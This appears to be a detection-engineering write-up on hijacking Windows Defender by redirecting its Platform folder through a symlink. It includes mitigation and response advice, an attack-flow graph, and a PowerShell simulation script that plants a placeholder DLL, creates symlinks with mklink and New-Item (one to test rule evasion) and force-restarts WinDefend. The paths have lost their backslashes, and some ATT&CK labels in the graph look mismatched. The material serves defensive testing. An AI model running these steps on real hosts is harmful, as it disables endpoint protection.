Break The Protective Shell Of Windows Defender With The Folder Redirect Technique
Detection stack
- AIDR
- Alert
- ETL
- Query
Summary
The article demonstrates a Windows Defender hijack method that abuses folder redirection by placing a symbolic-link directory inside the Defender Platform path and pointing it to an attacker-controlled location. By assigning the symlink folder a higher “version” number than the legitimate platform directory, Defender may select the attacker-controlled path after reboot and load its components from there. This creates opportunities for DLL side-loading, selective file deletion, or even operational disruption of the Defender service.
Investigation
The author’s workflow copies the active Defender platform folder into a temporary attacker-controlled directory, then creates a directory symlink in the Platform location (via mklink /D) using a fabricated, higher version identifier. After a reboot, Defender is observed executing from the redirected directory, enabling follow-on manipulation such as DLL hijacking or removal of binaries to interfere with Defender startup and protection.
Mitigation
Minimize risk by strictly limiting write permissions on the Windows Defender Platform directory and by monitoring for suspicious creation of symbolic links or unexpected “version-style” subfolders. Implement integrity controls for Defender binaries and alert on changes in executable paths or platform-directory selection behavior. Where feasible, apply Windows Defender Application Control (WDAC) or equivalent hardening policies to prevent unauthorized changes in protected system locations.
Response
Alert when new symbolic-link folders appear under C:\ProgramData\Microsoft\Windows Defender\Platform or when mklink is used to target that directory. Validate Defender file integrity and confirm the running binaries are sourced from the expected platform folder. If tampering is confirmed, remove the malicious symlink and restore Defender platform files from a trusted source, then restart Defender services and re-validate protections across the host.
"graph TB %% Class Definitions classDef action fill:#99ccff classDef technique fill:#ffcc99 %% Action Nodes action_create_symlink["<b>Action</b> – Create symbolic link folder in Defender Platform<br/><b>Details</b>: Symlink points to C:\TMP\AV with a higher version number"] class action_create_symlink action action_copy_binaries["<b>Action</b> – Copy original Defender binaries to attackeru2011controlled directory"] class action_copy_binaries action action_place_malicious_dll["<b>Action</b> – Place malicious DLLs in the compromised folder"] class action_place_malicious_dll action action_cleanup["<b>Action</b> – Delete the symlink folder to remove evidence"] class action_cleanup action %% Technique Nodes tech_T1574_009["<b>Technique</b> – T1574.009 Component Object Model Hijacking<br/><b>Description</b>: Abuse COM registration to cause a legitimate service to load attackeru2011controlled code"] class tech_T1574_009 technique tech_T1218["<b>Technique</b> – T1218 Signed Binary Proxy Execution<br/><b>Description</b>: Leverage trusted signed binaries to execute malicious payloads"] class tech_T1218 technique tech_T1055_001["<b>Technique</b> – T1055.001 Process Injection: DLL Injection<br/><b>Description</b>: Load a malicious DLL into the address space of a legitimate process"] class tech_T1055_001 technique tech_T1546_009["<b>Technique</b> – T1546.009 Application Certification DLL Execution<br/><b>Description</b>: Cause the system to load a malicious DLL via AppCert mechanisms"] class tech_T1546_009 technique tech_T1070_004["<b>Technique</b> – T1070.004 File Deletion<br/><b>Description</b>: Remove files or directories to hide malicious activity"] class tech_T1070_004 technique tech_T1562["<b>Technique</b> – T1562 Impair Defenses<br/><b>Description</b>: Disrupt or disable security tools and features"] class tech_T1562 technique %% Connections action_create_symlink –>|uses| tech_T1574_009 tech_T1574_009 –>|enables| action_copy_binaries action_copy_binaries –>|uses| tech_T1218 action_copy_binaries –>|prepares for| action_place_malicious_dll action_place_malicious_dll –>|utilizes| tech_T1055_001 action_place_malicious_dll –>|utilizes| tech_T1546_009 action_place_malicious_dll –>|leads to| action_cleanup action_cleanup –>|uses| tech_T1070_004 tech_T1070_004 –>|results in| tech_T1562 "
Attack Flow
Simulation Execution
Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.
Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic. Abstract or unrelated examples will lead to misdiagnosis.
-
Attack Narrative & Commands:
The adversary has compromised a low‑privilege user account on the target host. Their goal is to load a malicious payload when Windows Defender starts, by redirecting the Defender “Platform” folder to a location they control. They perform the following steps:- Create a staging directory (
C:TMPAV) that will hold the malicious DLLs. - Populate the staging directory with a crafted DLL named
MpEngine.dll(the name expected by Defender). - Create a directory symbolic link named
C:ProgramDataMicrosoftWindows DefenderPlatform{random}that points to the staging directory, using both the nativemklinkutility (to trigger the Sigma rule) and PowerShell’sNew‑Item(to test rule evasion). - Restart the Windows Defender Service to force loading from the hijacked path.
- Create a staging directory (
-
Regression Test Script:
# ============================== # Folder Hijacking Simulation # ============================== $defenderPlatform = "C:ProgramDataMicrosoftWindows DefenderPlatform" $attackerStaging = "C:TMPAV" $linkName = "$defenderPlatformHijackTarget" # 1. Prepare staging folder New-Item -Path $attackerStaging -ItemType Directory -Force | Out-Null # 2. Drop a dummy malicious DLL (placeholder) $dummyDll = "$attackerStagingMpEngine.dll" Set-Content -Path $dummyDll -Value "MALICIOUS DLL CONTENT" -Encoding ASCII # 3a. Create symlink via native mklink (triggers Sigma rule) cmd /c "mklink /D `"$linkName`" `"$attackerStaging`"" # 3b. Create symlink via PowerShell (tests evasion) $psLink = "$defenderPlatformHijackTarget_PS" New-Item -ItemType SymbolicLink -Path $psLink -Target $attackerStaging -Force # 4. Restart Windows Defender Service (requires admin) # Note: This step may be blocked in a hardened environment; included for completeness. Restart-Service -Name "WinDefend" -Force -
Cleanup Commands:
# Remove created symlinks and staging files $links = @( "C:ProgramDataMicrosoftWindows DefenderPlatformHijackTarget", "C:ProgramDataMicrosoftWindows DefenderPlatformHijackTarget_PS" ) foreach ($l in $links) { if (Test-Path $l) { Remove-Item $l -Force } } $staging = "C:TMPAV" if (Test-Path $staging) { Remove-Item $staging -Recurse -Force } # Optionally restore Defender platform folder if needed (not required for simulation)